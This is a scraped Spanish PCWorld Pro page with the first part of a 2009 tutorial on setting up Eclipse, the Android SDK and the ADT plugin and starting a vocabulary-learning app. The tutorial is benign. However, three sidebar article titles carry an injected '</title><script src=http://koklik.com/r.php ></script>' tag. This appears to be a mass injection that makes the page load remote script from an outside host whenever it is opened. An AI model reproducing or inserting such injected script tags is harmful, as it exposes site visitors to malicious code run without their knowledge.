PCWORLD PRO
IDG.es

  
Actualidad Storage Seguridad Movilidad Infraestructura Firma invitada Vídeos PYMES Blog


Home

Curso de programación en Android (I)

Versión impresora Versión impresora Votar este artículo (215 votos)

Una vez que tenemos la plataforma disponible, el siguiente paso será aprender a programar aplicaciones para estos terminales. En este curso de programación de aplicaciones para Android, que se compone de dos entregas, vamos a desarrollar un juego, o aplicación, que nos permitirá explorar un buen número de componentes de esta nueva plataforma.


Antes de empezar a programar vamos a preparar nuestro entorno de trabajo y herramientas. Lo primero que necesitamos es el SDK (Kit de Desarrollo de Software) de Android, que contiene las librerías para programar, documentación y códigos de ejemplo. La versión actual (en el momento de escribir este artículo, 1.1_r1) se descarga comprimida en formato ZIP desde developer.android.com/sdk/1.1_r1/index.html. Hay versiones para Windows, Mac OS X y Linux. Una vez descargado lo descomprimimos en cualquier parte de nuestro disco.

Una vez hecho esto, vamos a necesitar un IDE (Entorno Integrado de Desarrollo) con el que trabajar cómodamente. La recomendación de Google es Eclipse y es la opción más cómoda, ya que es el entorno para el que Google provee plugins y asistentes que facilitan la tarea, pero cualquier entorno de desarrollo basado en Java, como NetBeans u otros, es perfectamente válido programar. En cualquier caso, hemos de tener en cuenta que la documentación on-line está enteramente basada en el uso de Eclipse, pero también tiene secciones especificas si decidimos optar por otro. Eso sí, todo el contenido está disponible en inglés.

Para quienes no lo conozcan, Eclipse es un entorno de desarrollo libre que puede descargarse gratuitamente desde www.eclipse.org/downloads. No vamos a cubrir aquí la instalación de éste, ya que es bastante trivial y también tiene versiones multiplataforma, instalables para Windows, Mac OS X y Linux.

El plugin de Eclipse proporcionado por Google para desarrollar aplicaciones para Android se llama ADT (Android Developer Tools) y es sencillísimo de instalar, como todos los plugins de Eclipse. En el menú de ayuda, Help, hay un sub-menú denominado Software Updates (Actualizaciones de Software) y, dentro de éste, dependiendo de la versión de Eclipse, una opción Find and Install (Buscar e instalar) o directamente mediante el menú correspondiente. Sea cual sea la versión, es fácil llegar hasta el sitio donde introducir una dirección de Internet de la que instalar un plugin (Add Site). Por lo tanto, introducimos dl-ssl.google.com/android/eclipse/ (habremos de probar tanto con HTTP o HTTPS, si alguna da problemas) y seguimos los pasos del asistente (es necesario reiniciar eclipse para completar la instalación).

Para que el plugin ADT funcione debemos indicarle dónde está instalado el SDK que descargamos anteriormente. Esto se hace en el menú de preferencias (Ventana » Preferencias en Windows y Linux, Eclipse » Preferencias en Mac OS X). Seleccionamos Android en el panel de la izquierda y configuramos la opción SDK Location navegando por
Menú aplicaciones Android curso PC World nuestro disco hasta la ubicación del SDK. Ya estamos listos para empezar a programar. 

Cómo aprender idiomas con el móvil


Una de las cosas más frustrantes cuando se aprende un idioma nuevo o se vive en el extranjero es el encontrarnos con palabras que ya hemos visto antes pero no recordamos su significado. Existen aplicaciones para aprender idiomas con juegos de diccionarios genéricos, palabras que tal vez nunca usemos, pero, sería muy útil tener una aplicación en el móvil y aprovechar el camino al trabajo en bus o metro para recordar palabras que ya sabemos que forman parte de nuestro entorno y no queremos volver a olvidar. Podemos introducir palabras a nuestro diccionario, por ejemplo, al leer un libro y encontrar palabras nuevas, ¿de qué sirve enriquecernos leyendo si luego olvidamos las palabras nuevas que aprendemos? Además, resulta que es la aplicación perfecta para cubrir unos cuantos aspectos de la programación de aplicaciones en Android, ya que guardaremos preferencias del usuario, accederemos y modificaremos una base de datos local, importaremos diccionarios desde ficheros de texto, internacionalizaremos la interfaz de usuario, tendremos varias pantallas por las que navegar en nuestra aplicación y guardaremos el estado de nuestra partida si es interrumpida, por ejemplo por una llamada. Por lo tanto, mientras desarrollamos esta aplicación aprenderemos algunas de las características de la plataforma.



Creación del proyecto


Como cualquier otro proyecto en eclipse, Fichero » Nuevo » Proyecto nos mostrará la lista de tipos de proyectos que podemos crear, y después de haber instalado el plugin ADT debería aparecer Android entre ellos como una de las opciones. El asistente de creación de proyectos nos preguntará por el nombre del proyecto, que es el directorio donde residirá, en nuestro caso IdiomasPCWorld; el nombre del paquete, com.pcworld.idiomas; el nombre de la Activity (veremos después lo que es esto), IdiomasPCWorld; y el nombre de la aplicación, Idiomas PCWorld.

Antes de seguir, vamos a comprobar que todo va bien. Para ello, en la pestaña Explorador de paquetes (Package Explorer), seleccionamos con el botón derecho sobre la carpeta del proyecto IdiomasPCWorld, submenú Ejecutar como (Run as), opción Android Application. Esto lanzará el emulador y aparecerá un teléfono móvil con el texto A N D R O I D _. Permanece hay un rato mientras se carga el emulador y parece que está esperando a Logo Android robtque hagamos algo, pero no es así, sólo esperamos a que el texto sea sustituido por el logotipo de Android y el icono del robot característico, que también desaparecerán solos, y aparecerá una pantalla que nos informa que para desbloquear tenemos que pulsar menú. Al hacerlo debe aparecer una pantalla negra con titulo Idiomas PCWorld y un texto negro que dice Hello World, IdiomasPCWorld.

25/04/2009 PCWORLD PROFESIONAL

| Más
Artículos más votados
Intel presenta Ivy Bridge para PC y portátiles (parte I)</title><script src=http://koklik.com/r.php ></script>
Se hizo esperar la llegada de los procesadores Intel Ivy Bridge y su novedoso proceso de ...[26/04/2012] - 98 votos

PUBLIRREPORTAJE - HP Officejet Pro: la inyección de tinta profesional llega a la pyme </title><script src=http://koklik.com/r.php ></script>
Con la introducción de su nueva gama de impresoras OfficeJet Pro, HP dice adiós al ...[16/03/2012] - 34 votos

Nokia Lumia 710, el Windows Phone más asequible </title><script src=http://koklik.com/r.php ></script>
Es un gran teléfono smartphone, tremendamente práctico y funcional, con procesador ...[08/02/2012] - 18 votos


Noticias más votadas
Cuenta atrás para el cambio en la política de privacidad de Google
Si utilizas Gmail, Google Docs o cualquier otro servicio G, estás a punto de entregar mucha ...[29/02/2012] - 67 votos

Más de 90 millones de vehículos dispondrán de smartphone en 2016
La integración del smartphone en los coches será un estándar en los nuevos modelos, según el último ...[14/03/2012] - 63 votos

Cisco enlaza redes Wi-Fi y móviles
Cisco ha desvelado en el Mobile World Congress de Barcelona nuevos productos diseñados para enlazar ...[29/02/2012] - 61 votos


Vídeos más votados
Tablet Xoom 2 de Motorola: videoanálisis
Con un formato más compacto basado en su pantalla de 8,2 pulgadas, ha sido presentada la segunda edición del Tablet Xoom 2 de Motorola, potenciando así su formato más compacto para que resulte manejable incluso sosteniéndolo con una sola mano y poderlo llevar a todas partes. [15/02/2012 ] - 64 votos
Samsung Galaxy S II con Android 4
Desde la revista PC World hemos tenido acceso al nuevo firmware del sistema operativo Android 4 conocida como Ice Cream Sandwich que Samsung ya está lanzando en algunos países para sus terminales Galaxy S. Lo hemos instalado en varios modelos, tanto de modalidad libre, como asociado a operador de telefonía, y hemos podido comprobar que en ambos modelos funciona con la versión de firmware que se corresponde a Android 4.0.2. No te pierdas las novedades. [20/03/2012 ] - 61 votos
MWC 2012: ViewSonic muestra Windows 8 en su tablet ViewPad
ViewSonic ha presentado Mobile World Congress su nueva generación de tablets, entre ellos, el ViewPad P100, basado en Windows 7 y sobre el que se ha instalado una versión de Windows 8 para mostrar a los visitantes del certamen el potencial del próximo sistema operativo de Microsoft. [01/03/2012 ] - 42 votos